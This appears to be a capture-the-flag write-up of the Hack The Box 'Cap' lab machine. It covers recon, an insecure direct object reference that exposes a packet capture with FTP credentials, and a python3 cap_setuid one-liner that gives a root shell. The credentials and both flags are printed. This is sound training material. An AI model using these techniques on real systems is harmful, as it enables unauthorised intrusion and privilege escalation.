> For the complete documentation index, see [llms.txt](https://sgtdiddlywink.gitbook.io/htb/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sgtdiddlywink.gitbook.io/htb/machines/easy-machines/cap.md).

# Cap

<figure><img src="/files/1slVIzv1RcN0uvjMLzi9" alt=""><figcaption></figcaption></figure>

## TARGET IP: 10.10.10.245

## HOST IP: 10.10.16.3

## RECON

### WEBSITE

```url
http://[TARGET IP]
```

<figure><img src="/files/jqqHlhd9jovpvLhmptz5" alt=""><figcaption></figcaption></figure>

* Looks like a data analytics page that I am currently signed into as `Nathan`.&#x20;
* The dropdown menu page under the user doesn't do anything. All of the buttons including the `Logout` don't point towards anything or do anything.
* Take a look at the source code:

```html
   <!-- offset area start -->
    <div class="offset-area">
        <div class="offset-close"><i class="ti-close"></i></div>
        <ul class="nav offset-menu-tab">
            <li><a class="active" data-toggle="tab" href="#activity">Activity</a></li>
            <li><a data-toggle="tab" href="#settings">Settings</a></li>
        </ul>
            <div id="activity" class="tab-pane fade in show active">
                <div class="recent-activity">
                    <div class="timeline-task">
                        <div class="icon bg1">
                            <i class="fa fa-envelope"></i>
                        </div>
                        <div class="tm-title">
                            <h4>Rashed sent you an email</h4>
                            <span class="time"><i class="ti-time"></i>09:35</span>
                        </div>
                        <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Esse distinctio itaque at.
                        </p>
                    </div>
                    <div class="timeline-task">
                        <div class="icon bg2">
                            <i class="fa fa-check"></i>
                        </div>
                        <div class="tm-title">
                            <h4>Added</h4>
                            <span class="time"><i class="ti-time"></i>7 Minutes Ago</span>
                        </div>
                        <p>Lorem ipsum dolor sit amet consectetur.
                        </p>
                    </div>
                    <div class="timeline-task">
                        <div class="icon bg2">
                            <i class="fa fa-exclamation-triangle"></i>
                        </div>
                        <div class="tm-title">
                            <h4>You missed you Password!</h4>
                            <span class="time"><i class="ti-time"></i>09:20 Am</span>
                        </div>
                    </div>
                    <div class="timeline-task">
                        <div class="icon bg3">
                            <i class="fa fa-bomb"></i>
                        </div>
                        <div class="tm-title">
                            <h4>Member waiting for you Attention</h4>
                            <span class="time"><i class="ti-time"></i>09:35</span>
                        </div>
                        <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Esse distinctio itaque at.
                        </p>
                    </div>
                    <div class="timeline-task">
                        <div class="icon bg3">
                            <i class="ti-signal"></i>
                        </div>
                        <div class="tm-title">
                            <h4>You Added Kaji Patha few minutes ago</h4>
                            <span class="time"><i class="ti-time"></i>01 minutes ago</span>
                        </div>
                        <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Esse distinctio itaque at.
                        </p>
                    </div>
                    <div class="timeline-task">
                        <div class="icon bg1">
                            <i class="fa fa-envelope"></i>
                        </div>
                        <div class="tm-title">
                            <h4>Ratul Hamba sent you an email</h4>
                            <span class="time"><i class="ti-time"></i>09:35</span>
                        </div>
                        <p>Hello sir , where are you, i am egerly waiting for you.
                        </p>
                    </div>
                    <div class="timeline-task">
                        <div class="icon bg2">
                            <i class="fa fa-exclamation-triangle"></i>
                        </div>
                        <div class="tm-title">
                            <h4>Rashed sent you an email</h4>
                            <span class="time"><i class="ti-time"></i>09:35</span>
                        </div>
                        <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Esse distinctio itaque at.
                        </p>
                    </div>
                    <div class="timeline-task">
                        <div class="icon bg2">
                            <i class="fa fa-exclamation-triangle"></i>
                        </div>
                        <div class="tm-title">
                            <h4>Rashed sent you an email</h4>
                            <span class="time"><i class="ti-time"></i>09:35</span>
                        </div>
                    </div>
                    <div class="timeline-task">
                        <div class="icon bg3">
                            <i class="fa fa-bomb"></i>
                        </div>
                        <div class="tm-title">
                            <h4>Rashed sent you an email</h4>
                            <span class="time"><i class="ti-time"></i>09:35</span>
                        </div>
                        <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Esse distinctio itaque at.
                        </p>
                    </div>
                    <div class="timeline-task">
                        <div class="icon bg3">
                            <i class="ti-signal"></i>
                        </div>
                        <div class="tm-title">
                            <h4>Rashed sent you an email</h4>
                            <span class="time"><i class="ti-time"></i>09:35</span>
                        </div>
                        <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Esse distinctio itaque at.
                        </p>
                    </div>
                </div>
            </div>
            <div id="settings" class="tab-pane fade">
                <div class="offset-settings">
                    <h4>General Settings</h4>
                    <div class="settings-list">
                        <div class="s-settings">
                            <div class="s-sw-title">
                                <h5>Notifications</h5>
                                <div class="s-swtich">
                                    <input type="checkbox" id="switch1" />
                                    <label for="switch1">Toggle</label>
                                </div>
                            </div>
                            <p>Keep it 'On' When you want to get all the notification.</p>
                        </div>
                        <div class="s-settings">
                            <div class="s-sw-title">
                                <h5>Show recent activity</h5>
                                <div class="s-swtich">
                                    <input type="checkbox" id="switch2" />
                                    <label for="switch2">Toggle</label>
                                </div>
                            </div>
                            <p>The for attribute is necessary to bind our custom checkbox with the input.</p>
                        </div>
                        <div class="s-settings">
                            <div class="s-sw-title">
                                <h5>Show your emails</h5>
                                <div class="s-swtich">
                                    <input type="checkbox" id="switch3" />
                                    <label for="switch3">Toggle</label>
                                </div>
                            </div>
                            <p>Show email so that easily find you.</p>
                        </div>
                        <div class="s-settings">
                            <div class="s-sw-title">
                                <h5>Show Task statistics</h5>
                                <div class="s-swtich">
                                    <input type="checkbox" id="switch4" />
                                    <label for="switch4">Toggle</label>
                                </div>
                            </div>
                            <p>The for attribute is necessary to bind our custom checkbox with the input.</p>
                        </div>
                        <div class="s-settings">
                            <div class="s-sw-title">
                                <h5>Notifications</h5>
                                <div class="s-swtich">
                                    <input type="checkbox" id="switch5" />
                                    <label for="switch5">Toggle</label>
                                </div>
                            </div>
                            <p>Use checkboxes when looking for yes or no answers.</p>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
```

* There is a lot there but it looks like we have some new information:
  * We have a user named `Nathan` and possibly other users `Rashed`, `Kaji Patha`, and `Ratul Hamba`.
* Checking out `curl` doesn't give us the version number of the `gunicorn` web server.

```bash
curl [TARGET IP] -sI
```

<figure><img src="/files/tWQyytZ6RkgS8iOlsTHo" alt=""><figcaption></figcaption></figure>

* If we go to the home tab in the upper right and click on `Network Status`, we get some really good info about the machine without actually having to run an NMAP scan.&#x20;
  * Looks like Ports 21, 22, and 80 are open.

&#x20;

<figure><img src="/files/UF6A9wndZHIXyxIQHLP1" alt=""><figcaption></figcaption></figure>

* When I try something in the search bar, nothing pops up but a parameter is added to the URL.

```url
http://[TARGET IP]/?search=[SEARCHED WORD]#
```

* I captured a packet with Burpsuite and received the following.

<figure><img src="/files/KIxJoyZs9Ojd1iloGkSy" alt=""><figcaption></figcaption></figure>

* Let's try the `Security Snapshot` button. This appears to grab some packet data over a 5 second period and creates a `pcap` file to look at.
* We can also see that the URL shows a `data` parameter that after first use equals 1 and sequentially goes up. Let's set the parameter to `0` and see what it spits out. We'll also grab the `pcap` file from it.

```url
http://[TARGET IP]/data/0
```

<figure><img src="/files/gjDckCIfapllJI2UKgQg" alt=""><figcaption></figcaption></figure>

* We can open this `pcap` file in wireshark to take a look at it and see if we can find any good information.

<figure><img src="/files/XOa30oiB5SSnI9iuxwjM" alt=""><figcaption></figcaption></figure>

* WiresharkScanning through the Wireshark capture, we quickly find FTP credentials for the User `Nathan`.

<figure><img src="/files/S56lCwKuTI7qpXiLJuls" alt=""><figcaption></figcaption></figure>

```
nathan:Buck3tH4TF0RM3!
```

* We can now log into `nathan`'s account, list out the current working directory, and download the user flag.

```
ftp [TARGET IP]
nathan
Buck3tH4TF0RM3!
ls -la
get user.txt
```

![](/files/ursvUPgtIuAmaliqqc07)

* On our host system we can then look into the text file for the first flag.

```
cat user.txt
```

![](/files/88RwujeDTh5A0zm081Wd)

```
user.txt: 1f896817980ce9dfee4c79c1922c5ae3
```

### WAPPALYZER

<figure><img src="/files/Kyfc1nhIpH83KSDxQelX" alt=""><figcaption></figcaption></figure>

* The backend Language appears to be Python
* Utilizes Gunicorn as a webserver
  * The Gunicorn "Green Unicorn" is a Python Web Server Gateway Interface HTTP server. It is a pre-fork worker model, ported from Ruby's Unicorn project. The Gunicorn server is broadly compatible with a number of web frameworks, simply implemented, light on server resources, and fairly fast.

### NMAP

```bash
nmap [Target IP]
```

<figure><img src="/files/t7dG86UzBTLmAy4tqV2z" alt=""><figcaption></figcaption></figure>

```bash
nmap -A -Sv -p 21,22,80 [TARGET IP]
```

<figure><img src="/files/6PhDvFFe2nll0YXJ1Y4p" alt=""><figcaption></figcaption></figure>

```bash
sudo nmap [TARGET IP] -sS -sV --script http-headers -p 80
```

<figure><img src="/files/Y8sCDOiAGLPT2QjxeGX2" alt=""><figcaption></figcaption></figure>

## ENUMERATION

### GOBUSTER

#### SUBDOMAIN

```bash
gobuster dir -u http://[TARGET IP] -w /usr/share/dirb/wordlists/common.txt
```

<figure><img src="/files/WmoDzY9FknweDiOSejC9" alt=""><figcaption></figcaption></figure>

* None of these are new to me and don't provide any new information.

```bash
gobuster vhost -u http://[TARGET IP]/ -w /usr/share/dirb/wordlists/common.txt
```

<figure><img src="/files/5XISWCIwlGxXzDhn0tBC" alt=""><figcaption></figcaption></figure>

### TARGET ENUMERATION

* Now that we have credentials for `nathan`. We can spend some time exploring the target system for possible privilege escalation.
* I'm going to use the credentials to log in through `SSH`.

```
ssh nathan@[TARGET IP]
yes
Buck3tH4TF0RM3!
```

<figure><img src="/files/Nbh6KK6ykYXVht6qWzNc" alt=""><figcaption></figcaption></figure>

* Try checking out what sudo privileges we have.

```
sudo -l
Buck3tH4TF0RM3!
```

<figure><img src="/files/lIq3ZGSvAPhdQ00seDsm" alt=""><figcaption></figcaption></figure>

* Unfortunately, we have none so let's go digging around.
* I spent some time digging around myself but didn't find anything. I decided to upload a copy of linpeas to the target account and perform some auto enumeration to help out.
* I came across something interesting.

<figure><img src="/files/tAlt4CmWurup7iMzC1G7" alt=""><figcaption></figcaption></figure>

```
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
```

* I can verify the capability functions with the following command. This essentially allows for certain processes to have root privleges. Similar to SUID.

```bash
getcap -r / 2>/dev/null
```

<figure><img src="/files/WGPsHXbl7PJCQV1lBOPn" alt=""><figcaption></figcaption></figure>

* This is great information as having the capabilities for `cap_setuid` set is a particularly vulnerable situation.
* [Hacktricks](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities) and [GTFOBins](https://gtfobins.github.io/gtfobins/python/#capabilities) both have sections for exploiting this for privilege escalation.
* Let's go with the privilege escalation from GTFOBins.

```bash
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

![](/files/1ScMOvea7zA49iuIsl6K)

* And now I have root privileges.
* Let's go get the root flag.

```
cat /root/root.txt
```

![](/files/Put8wzE66Uur4HcuCST4)

```
ca9be49e3fbed8b6be99a27bcd9be60f
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://sgtdiddlywink.gitbook.io/htb/machines/easy-machines/cap.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.